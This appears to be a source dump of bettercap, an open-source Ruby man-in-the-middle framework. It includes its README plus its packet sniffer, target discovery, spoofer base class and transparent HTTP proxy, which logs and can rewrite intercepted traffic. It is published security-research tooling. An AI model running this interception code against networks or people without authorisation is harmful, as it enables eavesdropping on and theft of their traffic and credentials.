| 74 | private 75 | 76 | # Main logger logic. 77 | def worker 78 | loop do 79 | message = @@queue.pop 80 | if @@ctx.nil? or @@ctx.running 81 | emit message 82 | end 83 | end 84 | end 85 | 86 | # Emit the +message+. 87 | def emit(message) 88 | puts message 89 | unless @@logfile.nil? 90 | f = File.open( @@logfile, 'a+t' ) 91 | f.puts( message.gsub( /\e\[(\d+)(;\d+)*m/, '') + "\n") 92 | f.close 93 | end 94 | end 95 | 96 | # Format +message+ for the given +message_type+. 97 | def formatted_message(message, message_type) 98 | "[#{message_type}] #{message}" 99 | end 100 | end 101 | end 102 | end 103 | -------------------------------------------------------------------------------- /lib/bettercap/discovery/thread.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | module BetterCap 13 | module Discovery 14 | # Class responsible to actively discover targets on the network. 15 | class Thread 16 | # Initialize the class using the +ctx+ BetterCap::Context instance. 17 | def initialize( ctx ) 18 | @ctx = ctx 19 | @running = false 20 | @thread = nil 21 | end 22 | 23 | # Start the active network discovery thread. 24 | def start 25 | @running = true 26 | @thread = ::Thread.new { worker } 27 | end 28 | 29 | # Stop the active network discovery thread. 30 | def stop 31 | @running = false 32 | if @thread != nil 33 | Logger.info( 'Stopping network discovery thread ...' ) unless @ctx.options.arpcache 34 | begin 35 | @thread.exit 36 | rescue 37 | end 38 | end 39 | end 40 | 41 | private 42 | 43 | # Return true if the +list+ of targets includes +target+. 44 | def list_include_target?( list, target ) 45 | list.each do |t| 46 | if t.equals?(target.ip, target.mac) 47 | return true 48 | end 49 | end 50 | false 51 | end 52 | 53 | # Print informations about new and lost targets. 54 | def print_differences( prev ) 55 | diff = { :new => [], :lost => [] } 56 | 57 | @ctx.targets.each do |target| 58 | unless list_include_target?( prev, target ) 59 | diff[:new] << target 60 | end 61 | end 62 | 63 | prev.each do |target| 64 | unless list_include_target?( @ctx.targets, target ) 65 | diff[:lost] << target 66 | end 67 | end 68 | 69 | unless diff[:new].empty? and diff[:lost].empty? 70 | if diff[:new].empty? 71 | snew = "" 72 | else 73 | snew = "Acquired #{diff[:new].size} new target#{if diff[:new].size > 1 then "s" else "" end}" 74 | end 75 | 76 | if diff[:lost].empty? 77 | slost = "" 78 | else 79 | slost = "#{if snew == "" then 'L' else ', l' end}ost #{diff[:lost].size} target#{if diff[:lost].size > 1 then "s" else "" end}" 80 | end 81 | 82 | Logger.info "#{snew}#{slost} :" 83 | 84 | msg = "\n" 85 | diff[:new].each do |target| 86 | msg += " [#{'NEW'.green}] #{target.to_s(false)}\n" 87 | end 88 | diff[:lost].each do |target| 89 | msg += " [#{'LOST'.red}] #{target.to_s(false)}\n" 90 | end 91 | msg += "\n" 92 | Logger.raw msg 93 | end 94 | end 95 | 96 | # This method implements the main discovery logic, it will be executed within 97 | # the spawned thread. 98 | def worker 99 | Logger.debug( 'Network discovery thread started.' ) unless @ctx.options.arpcache 100 | 101 | prev = [] 102 | while @running 103 | @ctx.targets = Network.get_alive_targets(@ctx).sort_by { |t| t.sortable_ip } 104 | 105 | print_differences prev 106 | 107 | prev = @ctx.targets 108 | 109 | sleep(5) if @ctx.options.arpcache 110 | end 111 | end 112 | end 113 | end 114 | end 115 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | **bettercap** is a complete, modular, portable and easily extensible **MITM** tool and framework with every kind of diagnostic 2 | and offensive feature you could need in order to perform a man in the middle attack. 3 | 4 | Before submitting issues, please read the relevant [section](http://www.bettercap.org/docs/contribute/) in the documentation. 5 | 6 | 7 | 8 | 9 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 |
Version 10 | 11 | 12 | 13 |
Homepagehttp://www.bettercap.org/
Bloghttp://www.bettercap.org/blog/
Githubhttp://github.com/evilsocket/bettercap
Documentationhttp://www.bettercap.org/docs/
Code Documentation 33 | http://www.rubydoc.info/github/evilsocket/bettercap 34 |   35 | 36 | 37 | 38 |
AuthorSimone Margaritelli (@evilsocket)
Twitter@bettercap
Chat 51 | 52 | 53 | 54 |
Copyright2015-2016 Simone Margaritelli
LicenseGPL v3.0 - (see LICENSE file)
65 | 66 | Installation 67 | ============ 68 | 69 | **Stable Release ( GEM )** 70 | 71 | gem install bettercap 72 | 73 | **From Source** 74 | 75 | git clone https://github.com/evilsocket/bettercap 76 | cd bettercap 77 | gem build bettercap.gemspec 78 | sudo gem install bettercap*.gem 79 | 80 | Dependencies 81 | ============ 82 | 83 | All dependencies will be automatically installed through the GEM system, in some case you might need to install some system 84 | dependency in order to make everything work: 85 | 86 | sudo apt-get install build-essential ruby-dev libpcap-dev 87 | 88 | This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22) or [this one](https://github.com/evilsocket/bettercap/issues/100). 89 | 90 | Documentation and Examples 91 | ============ 92 | 93 | Please refer to the [official website](http://www.bettercap.org/docs/). 94 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/sniffer.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/logger' 13 | require 'colorize' 14 | require 'packetfu' 15 | 16 | module BetterCap 17 | # Class responsible of loading BetterCap::Parsers instances and performing 18 | # network packet sniffing and dumping. 19 | class Sniffer 20 | include PacketFu 21 | 22 | @@ctx = nil 23 | @@parsers = nil 24 | @@pcap = nil 25 | @@cap = nil 26 | 27 | # Start a new thread that will sniff packets from the network and pass 28 | # each one of them to the BetterCap::Parsers instances loaded inside the 29 | # +ctx+ BetterCap::Context instance. 30 | def self.start( ctx ) 31 | Thread.new do 32 | Logger.debug 'Starting sniffer ...' 33 | 34 | setup( ctx ) 35 | 36 | self.stream.each do |p| 37 | break unless @@ctx.running 38 | begin 39 | parsed = Packet.parse p 40 | rescue Exception => e 41 | parsed = nil 42 | Logger.debug e.message 43 | end 44 | 45 | if not parsed.nil? and parsed.is_ip? and !skip_packet?(parsed) 46 | append_packet p 47 | parse_packet parsed 48 | end 49 | end 50 | end 51 | end 52 | 53 | private 54 | 55 | # Return the current PCAP stream. 56 | def self.stream 57 | if @@ctx.options.sniffer_src.nil? 58 | @@cap.stream 59 | else 60 | Logger.info "Reading packets from #{@@ctx.options.sniffer_src} ..." 61 | 62 | PcapFile.file_to_array @@ctx.options.sniffer_src 63 | end 64 | end 65 | 66 | # Return true if the +pkt+ packet instance must be skipped. 67 | def self.skip_packet?( pkt ) 68 | !@@ctx.options.local and 69 | ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or 70 | pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] ) 71 | end 72 | 73 | # Apply each parser on the given +parsed+ packet. 74 | def self.parse_packet( parsed ) 75 | @@parsers.each do |parser| 76 | begin 77 | parser.on_packet parsed 78 | rescue Exception => e 79 | Logger.warn e.message 80 | end 81 | end 82 | end 83 | 84 | # Append the packet +p+ to the current PCAP file. 85 | def self.append_packet( p ) 86 | begin 87 | @@pcap.array_to_file( 88 | filename: @@ctx.options.sniffer_pcap, 89 | array: [p], 90 | append: true ) unless @@pcap.nil? 91 | rescue Exception => e 92 | Logger.warn e.message 93 | end 94 | end 95 | 96 | # Setup all needed objects for the sniffer using the +ctx+ Context instance. 97 | def self.setup( ctx ) 98 | @@ctx = ctx 99 | 100 | unless @@ctx.options.sniffer_pcap.nil? 101 | @@pcap = PcapFile.new 102 | Logger.warn "Saving packets to #{@@ctx.options.sniffer_pcap} ." 103 | end 104 | 105 | if @@ctx.options.custom_parser.nil? 106 | @@parsers = Factories::Parser.load_by_names @@ctx.options.parsers 107 | else 108 | @@parsers = Factories::Parser.load_custom @@ctx.options.custom_parser 109 | end 110 | 111 | @@cap = Capture.new( 112 | iface: @@ctx.options.iface, 113 | filter: @@ctx.options.sniffer_filter, 114 | start: true 115 | ) 116 | end 117 | end 118 | end 119 | -------------------------------------------------------------------------------- /bin/bettercap: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | =begin 4 | 5 | BETTERCAP 6 | 7 | Author : Simone 'evilsocket' Margaritelli 8 | Email : evilsocket@gmail.com 9 | Blog : http://www.evilsocket.net/ 10 | 11 | This project is released under the GPL 3 license. 12 | 13 | =end 14 | 15 | require 'bettercap' 16 | 17 | begin 18 | puts BetterCap::BANNER.green.bold 19 | puts "\n\n\n" 20 | 21 | # We need this in order to report unhandled exceptions. 22 | original_argv = ARGV.clone 23 | 24 | # Create global context, parse command line arguments and perform basic 25 | # error checking. 26 | ctx = BetterCap::Options.parse! 27 | 28 | # Start targets auto discovery if needed. 29 | if ctx.options.target.nil? 30 | BetterCap::Logger.info( "Targeting the whole subnet #{ctx.ifconfig[:ip4_obj].to_range} ..." ) unless ctx.options.has_spoofer? 31 | ctx.discovery.start 32 | # give some time to the discovery thread to spawn its workers, 33 | # this will prevent 'Too many open files' errors to delay host 34 | # discovery. 35 | sleep 1.5 36 | end 37 | 38 | # Start network spoofers if any. 39 | ctx.spoofer.each do |spoofer| 40 | spoofer.start 41 | end 42 | 43 | # Start proxies and setup port redirection. 44 | if ctx.options.proxy 45 | if ctx.options.has_http_sniffer_enabled? 46 | BetterCap::Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs." 47 | end 48 | ctx.create_proxies 49 | end 50 | 51 | ctx.enable_port_redirection! 52 | 53 | # Start local HTTP server. 54 | if ctx.options.httpd 55 | ctx.httpd = BetterCap::HTTPD::Server.new( ctx.options.httpd_port, ctx.options.httpd_path ) 56 | ctx.httpd.start 57 | end 58 | 59 | # Start network sniffer. 60 | if ctx.options.sniffer 61 | BetterCap::Sniffer.start ctx 62 | elsif ctx.options.has_spoofer? 63 | BetterCap::Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '\ 64 | 'will cause the MITM to run but no data to be collected.' unless ctx.options.has_spoofer? 65 | end 66 | 67 | loop do 68 | sleep 10 69 | end 70 | 71 | rescue SystemExit, Interrupt 72 | BetterCap::Logger.raw "\n" 73 | 74 | rescue OptionParser::InvalidOption => e 75 | BetterCap::Logger.error e.message 76 | 77 | rescue OptionParser::AmbiguousOption => e 78 | BetterCap::Logger.error e.message 79 | 80 | rescue BetterCap::Error => e 81 | BetterCap::Logger.error e.message 82 | 83 | rescue Exception => e 84 | puts "\n\n" 85 | BetterCap::Logger.error "Oooops, seems like something weird occurred, please copy paste the following output " \ 86 | "and open a new issue on https://github.com/evilsocket/bettercap/issues :\n" 87 | 88 | BetterCap::Logger.error "Platform : #{RUBY_PLATFORM}" 89 | BetterCap::Logger.error "Ruby Version : #{RUBY_VERSION}" 90 | BetterCap::Logger.error "BetterCap Version : #{BetterCap::VERSION}" 91 | BetterCap::Logger.error "Command Line : #{original_argv.join(" ")}" 92 | BetterCap::Logger.error "Exception : #{e.class}" 93 | BetterCap::Logger.error "Message : #{e.message}" 94 | BetterCap::Logger.error "Backtrace :\n\n #{e.backtrace.join("\n ")}\n" 95 | 96 | ensure 97 | # Make sure all the messages on the logger queue are printed. 98 | BetterCap::Logger.wait! 99 | 100 | ctx.finalize unless ctx.nil? 101 | end 102 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/request.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Proxy 15 | # HTTP request parser. 16 | class Request 17 | # Patched request lines. 18 | attr_reader :lines 19 | # HTTP verb. 20 | attr_reader :verb 21 | # Request URL. 22 | attr_reader :url 23 | # Hostname. 24 | attr_reader :host 25 | # Request port. 26 | attr_reader :port 27 | # Request headers hash. 28 | attr_reader :headers 29 | # Content length. 30 | attr_reader :content_length 31 | # Request body. 32 | attr_reader :body 33 | 34 | # Initialize this object setting #port to +default_port+. 35 | def initialize( default_port = 80 ) 36 | @lines = [] 37 | @verb = nil 38 | @url = nil 39 | @host = nil 40 | @port = default_port 41 | @headers = {} 42 | @content_length = 0 43 | @body = nil 44 | end 45 | 46 | # Read lines from the +sock+ socket and parse them. 47 | # Will raise an exception if the #hostname can not be parsed. 48 | def read(sock) 49 | # read the first line 50 | self << sock.readline 51 | 52 | loop do 53 | line = sock.readline 54 | self << line 55 | 56 | if line.chomp == '' 57 | break 58 | end 59 | end 60 | 61 | raise "Couldn't extract host from the request." unless @host 62 | 63 | # keep reading the request body if needed 64 | if @content_length > 0 65 | @body = sock.read(@content_length) 66 | end 67 | end 68 | 69 | # Parse a single request line, patch it if needed and append it to #lines. 70 | def <<(line) 71 | line = line.chomp 72 | 73 | Logger.debug " REQUEST LINE: '#{line}'" 74 | 75 | # is this the first line ' HTTP/' ? 76 | if @url.nil? and line =~ /^(\w+)\s+(\S+)\s+HTTP\/[\d\.]+\s*$/ 77 | @verb = $1 78 | @url = $2 79 | 80 | # fix url 81 | if @url.include? '://' 82 | uri = URI::parse @url 83 | @url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' ) 84 | end 85 | 86 | line = "#{@verb} #{@url} HTTP/1.1" 87 | # get the host header value 88 | elsif line =~ /^Host:\s*(.*)$/ 89 | @host = $1 90 | if host =~ /([^:]*):([0-9]*)$/ 91 | @host = $1 92 | @port = $2.to_i 93 | end 94 | # parse content length, this will speed up data streaming 95 | elsif line =~ /^Content-Length:\s+(\d+)\s*$/i 96 | @content_length = $1.to_i 97 | # we don't want to have hundreds of threads running 98 | elsif line =~ /^Connection: keep-alive/i 99 | line = 'Connection: close' 100 | elsif line =~ /^Proxy-Connection: (.+)/i 101 | line = "Connection: #{$1}" 102 | # disable gzip, chunked, etc encodings 103 | elsif line =~ /^Accept-Encoding:.*/i 104 | line = 'Accept-Encoding: identity' 105 | end 106 | 107 | # collect headers 108 | if line =~ /^([^:\s]+)\s*:\s*(.+)$/i 109 | @headers[$1] = $2 110 | end 111 | 112 | @lines << line 113 | end 114 | 115 | # Return true if this is a POST request, otherwise false. 116 | def post? 117 | @verb == 'POST' 118 | end 119 | 120 | # Return a string representation of the HTTP request. 121 | def to_s 122 | @lines.join("\n") + "\n" + ( @body || '' ) 123 | end 124 | end 125 | end 126 | end 127 | -------------------------------------------------------------------------------- /lib/bettercap/network/packet_queue.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | BETTERCAP 3 | Author : Simone 'evilsocket' Margaritelli 4 | Email : evilsocket@gmail.com 5 | Blog : http://www.evilsocket.net/ 6 | This project is released under the GPL 3 license. 7 | =end 8 | require 'bettercap/error' 9 | 10 | module BetterCap 11 | module Network 12 | # This class is responsible for sending various network packets. 13 | class PacketQueue 14 | # Initialize the PacketQueue, it will spawn +nworkers+ thread and 15 | # will send packets to the +iface+ network interface. 16 | # If +packet_throttle+ is different than 0.0, it will be used as 17 | # a delay between each packet to be sent. 18 | def initialize( iface, packet_throttle = 0.0, nworkers = 4 ) 19 | @iface = iface 20 | @nworkers = nworkers 21 | @throttle = packet_throttle; 22 | @running = true 23 | @stream = Pcap.open_live( iface, 0xffff, false , 1 ) 24 | @mutex = Mutex.new 25 | @udp = UDPSocket.new 26 | @queue = Queue.new 27 | @workers = (0...nworkers).map { ::Thread.new { worker } } 28 | end 29 | 30 | # Push a packet to the queue. 31 | def push(packet) 32 | @queue.push(packet) 33 | end 34 | 35 | # Wait for the packet queue to be empty. 36 | def wait_empty( timeout ) 37 | begin 38 | Timeout::timeout(timeout) { 39 | while !@queue.empty? 40 | sleep 0.5 41 | end 42 | } 43 | rescue; end 44 | end 45 | 46 | # Notify the queue to stop and wait for every worker to finish. 47 | def stop 48 | wait_empty( 60 ) 49 | @running = false 50 | @nworkers.times { push(nil) } 51 | @workers.map(&:join) 52 | end 53 | 54 | private 55 | 56 | # Unpack [ ip, port, data ] from +packet+ and send it using the global 57 | # UDPSocket instance. 58 | def dispatch_udp_packet(packet) 59 | ip, port, data = packet 60 | @mutex.synchronize { 61 | Logger.debug "Sending UDP data packet to #{ip}:#{port} ..." 62 | @udp.send( data, 0, ip, port ) 63 | } 64 | end 65 | 66 | # Use the global Pcap injection instance to send the +packet+. 67 | def dispatch_raw_packet(packet) 68 | @mutex.synchronize { 69 | Logger.debug "Sending #{packet.class.name} packet ..." 70 | @stream.inject( packet.headers[0].to_s ) 71 | } 72 | end 73 | 74 | # Main PacketQueue logic. 75 | def worker 76 | Logger.debug "PacketQueue worker started." 77 | 78 | while @running 79 | begin 80 | packet = @queue.pop 81 | case packet 82 | # nil packet pushed to signal stopping 83 | when nil 84 | Logger.debug "Got nil packet, PacketQueue stopping ..." 85 | break 86 | # [ ip, port, data ] pushed by Discovery::Agents::Udp 87 | when Array 88 | dispatch_udp_packet(packet) 89 | # PacketFu raw packet 90 | when Object 91 | dispatch_raw_packet(packet) 92 | end 93 | 94 | sleep(@throttle) if @throttle != 0.0 95 | 96 | rescue Exception => e 97 | Logger.debug "#{self.class.name} ( #{packet.class.name} ) : #{e.message}" 98 | 99 | # If we've got an error message such as: 100 | # (cannot open BPF device) /dev/bpf0: Too many open files 101 | # We want to retry to probe this ip in a while. 102 | if e.message.include? 'Too many open files' 103 | Logger.debug "Repushing #{self.class.name} to the packet queue ..." 104 | push(packet) 105 | end 106 | end 107 | end 108 | 109 | Logger.debug "PacketQueue worker stopped." 110 | end 111 | end 112 | end 113 | end 114 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/response.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Proxy 15 | # HTTP response parser. 16 | class Response 17 | # Response content type. 18 | attr_reader :content_type 19 | # Response charset, default to UTF-8. 20 | attr_reader :charset 21 | # Response content length. 22 | attr_reader :content_length 23 | # True if this is a chunked encoded response, otherwise false. 24 | attr_reader :chunked 25 | # A list of response headers. 26 | attr_reader :headers 27 | # Response status code. 28 | attr_accessor :code 29 | # True if the parser finished to parse the headers, otherwise false. 30 | attr_reader :headers_done 31 | # Response body. 32 | attr_accessor :body 33 | 34 | # Initialize this response object state. 35 | def initialize 36 | @content_type = nil 37 | @charset = 'UTF-8' 38 | @content_length = nil 39 | @body = '' 40 | @code = nil 41 | @headers = [] 42 | @headers_done = false 43 | @chunked = false 44 | end 45 | 46 | # Convert a webrick response to this class. 47 | def convert_webrick_response!(response) 48 | self << "HTTP/#{response.http_version} #{response.code} #{response.msg}" 49 | response.each do |key,value| 50 | self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}" 51 | end 52 | self << "\n" 53 | @code = response.code 54 | @body = response.body || '' 55 | end 56 | 57 | # Parse a single response +line+. 58 | def <<(line) 59 | # we already parsed the heders, collect response body 60 | if @headers_done 61 | @body << line.force_encoding( @charset ) 62 | else 63 | Logger.debug " RESPONSE LINE: '#{line.chomp}'" 64 | 65 | # parse the response status 66 | if @code.nil? and line =~ /^HTTP\/[\d\.]+\s+(.+)/ 67 | @code = $1.chomp 68 | 69 | # parse the content type 70 | elsif line =~ /^Content-Type:\s*([^;]+).*/i 71 | @content_type = $1.chomp 72 | if line =~ /^.+;\s*charset=(.+)/i 73 | @charset = $1.chomp 74 | end 75 | 76 | # parse content length 77 | elsif line =~ /^Content-Length:\s+(\d+)\s*$/i 78 | @content_length = $1.to_i 79 | 80 | # check if we have a chunked encoding 81 | elsif line =~ /^Transfer-Encoding:\s*chunked.*$/i 82 | @chunked = true 83 | line = nil 84 | 85 | # last line, we're done with the headers 86 | elsif line.chomp.empty? 87 | @headers_done = true 88 | 89 | end 90 | 91 | @headers << line.chomp unless line.nil? 92 | end 93 | end 94 | 95 | # Return true if the response content type is textual, otherwise false. 96 | def textual? 97 | @content_type and ( @content_type =~ /^text\/.+/ or @content_type =~ /^application\/.+/ ) 98 | end 99 | 100 | # Return a string representation of this response object, patching the 101 | # Content-Length header if the #body was modified. 102 | def to_s 103 | if textual? 104 | @headers.map! do |header| 105 | # update content length in case the body was 106 | # modified 107 | if header =~ /Content-Length:\s*(\d+)/i 108 | Logger.debug "Updating response content length from #{$1} to #{@body.bytesize}" 109 | 110 | "Content-Length: #{@body.bytesize}" 111 | else 112 | header 113 | end 114 | end 115 | end 116 | 117 | @headers.join("\n") + "\n" + @body 118 | end 119 | end 120 | 121 | end 122 | end 123 | -------------------------------------------------------------------------------- /lib/bettercap/spoofers/base.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | module BetterCap 13 | module Spoofers 14 | # Base class for BetterCap::Spoofers modules. 15 | class Base 16 | # Will raise NotImplementedError . 17 | def initialize 18 | not_implemented_method! 19 | end 20 | # Will raise NotImplementedError . 21 | def start 22 | not_implemented_method! 23 | end 24 | # Will raise NotImplementedError . 25 | def stop 26 | not_implemented_method! 27 | end 28 | 29 | private 30 | 31 | # Will create a PacketFu::Capture object using the specified +filter+ and 32 | # will yield every parsed packet to the given code block. 33 | def sniff_packets( filter ) 34 | begin 35 | @capture = PacketFu::Capture.new( 36 | iface: @ctx.options.iface, 37 | filter: filter, 38 | start: true 39 | ) 40 | rescue Exception => e 41 | Logger.error e.message 42 | end 43 | 44 | @capture.stream.each do |p| 45 | begin 46 | if not @running 47 | Logger.debug 'Stopping thread ...' 48 | Thread.exit 49 | break 50 | end 51 | 52 | pkt = PacketFu::Packet.parse p rescue nil 53 | 54 | yield( pkt ) unless pkt.nil? 55 | 56 | rescue Exception => e 57 | Logger.error e.message 58 | end 59 | end 60 | end 61 | 62 | # Main spoof loop repeated each +delay+ seconds. 63 | def spoof_loop( delay ) 64 | loop do 65 | unless @running 66 | Logger.debug 'Stopping spoofing thread ...' 67 | Thread.exit 68 | break 69 | end 70 | 71 | Logger.debug "Spoofing #{@ctx.targets.size} targets ..." 72 | 73 | update_targets! 74 | 75 | @ctx.targets.each do |target| 76 | yield(target) 77 | end 78 | 79 | sleep(delay) 80 | end 81 | end 82 | 83 | # Get the MAC address of the gateway and update it. 84 | def update_gateway! 85 | hw = Network.get_hw_address( @ctx.ifconfig, @ctx.gateway ) 86 | raise BetterCap::Error, "Couldn't determine router MAC" if hw.nil? 87 | @gateway = Network::Target.new( @ctx.gateway, hw ) 88 | 89 | Logger.info "[#{'GATEWAY'.green}] #{@gateway.to_s(false)}" 90 | end 91 | 92 | # Update each target that needs to be updated. 93 | def update_targets! 94 | @ctx.targets.each do |target| 95 | # targets could change, update mac addresses if needed 96 | if target.mac.nil? 97 | hw = Network.get_hw_address( @ctx.ifconfig, target.ip ) 98 | if hw.nil? 99 | Logger.warn "Couldn't determine target #{ip} MAC address!" 100 | next 101 | else 102 | target.mac = hw 103 | Logger.info "[#{'TARGET'.green}] #{target.to_s(false)}" 104 | end 105 | # target was specified by MAC address 106 | elsif target.ip_refresh 107 | ip = Network.get_ip_address( @ctx, target.mac ) 108 | if ip.nil? 109 | Logger.warn "Couldn't determine target #{target.mac} IP address!" 110 | next 111 | else 112 | doprint = ( target.ip.nil? or target.ip != ip ) 113 | target.ip = ip 114 | Logger.info("[#{'TARGET'.green}] #{target.to_s(false)}") if doprint 115 | end 116 | end 117 | end 118 | end 119 | 120 | # Used to raise a NotImplementedError exception. 121 | def not_implemented_method! 122 | raise NotImplementedError, 'Spoofers::Base: Unimplemented method!' 123 | end 124 | end 125 | end 126 | end 127 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/streamer.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/logger' 13 | 14 | module BetterCap 15 | module Proxy 16 | # Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy. 17 | class Streamer 18 | # Initialize the class with the given +processor+ routine. 19 | def initialize( processor ) 20 | @processor = processor 21 | end 22 | 23 | # Redirect the +client+ to a funny video. 24 | def rickroll( client, is_https ) 25 | client_ip, client_port = get_client_details( is_https, client ) 26 | 27 | Logger.warn "#{client_ip}:#{client_port} is connecting to us directly." 28 | 29 | client.write "HTTP/1.1 302 Found\n" 30 | client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n" 31 | end 32 | 33 | # Handle the HTTP +request+ from +client+, if +is_https+ is true it will be 34 | # forwarded as a HTTPS request. 35 | def handle( request, client, is_https ) 36 | response = Response.new 37 | client_ip, client_port = get_client_details( is_https, client ) 38 | 39 | Logger.debug "Handling #{request.verb} request from #{client_ip}:#{client_port} ..." 40 | 41 | begin 42 | self.send( "do_#{request.verb}", request, response ) 43 | 44 | if response.textual? 45 | StreamLogger.log_http( is_https, client_ip, request, response ) 46 | else 47 | Logger.debug "[#{client_ip}] -> #{request.host}#{request.url} [#{response.code}]" 48 | end 49 | 50 | @processor.call( request, response ) 51 | 52 | client.write response.to_s 53 | rescue NoMethodError 54 | Logger.warn "Could not handle #{request.verb} request from #{client_ip}:#{client_port} ..." 55 | end 56 | end 57 | 58 | private 59 | 60 | # Return the +client+ ip address and port. 61 | def get_client_details( is_https, client ) 62 | unless is_https 63 | client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername) 64 | else 65 | _, client_port, _, client_ip = client.peeraddr 66 | end 67 | 68 | [ client_ip, client_port ] 69 | end 70 | 71 | # Use a Net::HTTP object in order to perform the +req+ BetterCap::Proxy::Request 72 | # object, will return a BetterCap::Proxy::Response object instance. 73 | def perform_proxy_request(req, res) 74 | path = req.url 75 | response = nil 76 | http = Net::HTTP.new( req.host, req.port ) 77 | http.use_ssl = ( req.port == 443 ) 78 | 79 | http.start do 80 | response = yield( http, path, req.headers ) 81 | end 82 | 83 | res.convert_webrick_response!(response) 84 | end 85 | 86 | # Handle a CONNECT request, +req+ is the request object and +res+ the response. 87 | def do_CONNECT(req, res) 88 | Logger.error "You're using bettercap as a normal HTTP(S) proxy, it wasn't designed to handle CONNECT requests:\n\n#{req.to_s}" 89 | end 90 | 91 | # Handle a GET request, +req+ is the request object and +res+ the response. 92 | def do_GET(req, res) 93 | perform_proxy_request(req, res) do |http, path, header| 94 | http.get(path, header) 95 | end 96 | end 97 | 98 | # Handle a HEAD request, +req+ is the request object and +res+ the response. 99 | def do_HEAD(req, res) 100 | perform_proxy_request(req, res) do |http, path, header| 101 | http.head(path, header) 102 | end 103 | end 104 | 105 | # Handle a POST request, +req+ is the request object and +res+ the response. 106 | def do_POST(req, res) 107 | perform_proxy_request(req, res) do |http, path, header| 108 | http.post(path, req.body || "", header) 109 | end 110 | end 111 | 112 | end 113 | end 114 | end 115 | -------------------------------------------------------------------------------- /lib/bettercap/monkey/packetfu/utils.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | # PacketFu::Utils.ifconfig is broken under OS X, it does 14 | # not correctly parse the netmask field due to a wrong 15 | # regular expression. 16 | # 17 | # ORIGINAL: https://github.com/packetfu/packetfu/blob/master/lib/packetfu/utils.rb#L204 18 | require 'bettercap/logger' 19 | 20 | module PacketFu 21 | class Utils 22 | def self.ifconfig(iface='eth0') 23 | ret = {} 24 | iface = iface.to_s.scan(/[0-9A-Za-z]/).join 25 | 26 | BetterCap::Logger.debug "ifconfig #{iface}" 27 | 28 | ifconfig_data = BetterCap::Shell.ifconfig(iface) 29 | if ifconfig_data =~ /#{iface}/i 30 | ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/) 31 | else 32 | raise ArgumentError, "Cannot ifconfig #{iface}" 33 | end 34 | 35 | case RUBY_PLATFORM 36 | when /linux/i 37 | ret = linux_ifconfig iface, ifconfig_data 38 | when /darwin/i 39 | ret = darwin_ifconfig iface, ifconfig_data 40 | end 41 | 42 | ret 43 | end 44 | 45 | private 46 | 47 | def self.linux_ifconfig(iface='eth0',ifconfig_data) 48 | BetterCap::Logger.debug "Linux ifconfig #{iface}:\n#{ifconfig_data}" 49 | 50 | ret = {} 51 | real_iface = ifconfig_data.first 52 | ret[:iface] = real_iface.split.first.downcase.gsub(':','') 53 | 54 | if real_iface =~ /[\s]HWaddr[\s]+([0-9a-fA-F:]{17})/i 55 | ret[:eth_saddr] = $1.downcase 56 | ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr]) 57 | end 58 | 59 | ifconfig_data.each do |s| 60 | case s 61 | when /inet [a-z]+:[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*[a-z]+:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i 62 | 